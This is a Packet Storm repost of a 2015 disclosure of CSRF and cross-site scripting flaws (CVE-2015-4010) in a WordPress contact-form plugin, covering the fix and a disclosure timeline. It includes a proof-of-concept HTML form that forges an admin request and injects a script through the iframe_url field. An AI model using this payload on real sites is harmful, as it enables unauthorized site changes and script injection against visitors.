what you don't know can hurt you

WordPress Encrypted Contact Form 1.0.4 CSRF / XSS

WordPress Encrypted Contact Form 1.0.4 CSRF / XSS
Posted Jun 8, 2015
Authored by Nitin Venkatesh

WordPress Encrypted Contact Form plugin version 1.0.4 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2015-4010
MD5 | de8ba26deeace352e83f72b7357b9d54

WordPress Encrypted Contact Form 1.0.4 CSRF / XSS

Change Mirror Download
# Title: CVE-2015-4010 - Cross-site Request Forgery & Cross-site Scripting in Encrypted
Contact Form Wordpress Plugin v1.0.4
# Submitter: Nitin Venkatesh
# Product: Encrypted Contact Form Wordpress Plugin
# Product URL: https://wordpress.org/plugins/encrypted-contact-form/
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Cross-site
scripting[CWE-79]
# Affected Versions: v1.0.4 and possibly below.
# Tested versions: v1.0.4
# Fixed Version: v1.1
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1125443/
# Changelog: https://wordpress.org/plugins/encrypted-contact-form/changelog/
# CVE Status: CVE-2015-4010

## Product Information:

Secure contact form for WordPress. Uses end-to-end encryption to send user
information. Not even your hosting provider can view the content.

Let users send you information in a secure way. Uses I.CX messaging service
to encrypt user content in their own web browsers before sending to you.

## Vulnerability Description:

The forms in the admin area of the plugin are vulnerable to CSRF, via which
the contact forms generated are susceptible to XSS via unsanitized POST
parameter.

For example, the admin function of updating an existing form can be done
via CSRF. Hence, by submitting a crafted HTML string in the parameters via
CSRF, a XSS attack gets launched which affects all the visitors of the
page(s) containing the contact form.

## Proof of Concept:

<form action="http://localhost/wp-admin/options-general.php?page=conformconf";
method="post">
<input type="hidden" name="name" value="required" />
<input type="hidden" name="email" value="optional" />
<input type="hidden" name="phone" value="off" />
<input type="hidden" name="message" value="required" />
<input type="hidden" name="display_name" value="Example" />
<input type="hidden" name="recipient_name" value="example" />
<input type="hidden" name="cfc_page_name" value="" />
<!-- Wordpress page-id value -->
<input type="hidden" name="existing_page" value="28" />
<input type="hidden" name="cfc_selection" value="upd" />
<input type="hidden" name="iframe_url"
value=""></iframe><script>alert('XSS!');</script>"
/>
<input type="submit" value="Update Page">
</form>

## Solution:

Upgrade to v1.1 of the plugin.

## Disclosure Timeline:

2015-03-26 - Discovered. Contacted developer on support forums.
2015-03-27 - Contacted developer via contact form on vendor site.
2015-04-01 - Fixed v1.1 released.
2015-05-15 - Published disclosure on FD.
2015-05-16 - CVE assigned

## References:

CVE Assign - http://seclists.org/oss-sec/2015/q2/471
http://packetstormsecurity.com/files/131955/
https://wpvulndb.com/vulnerabilities/7992


## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.
Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close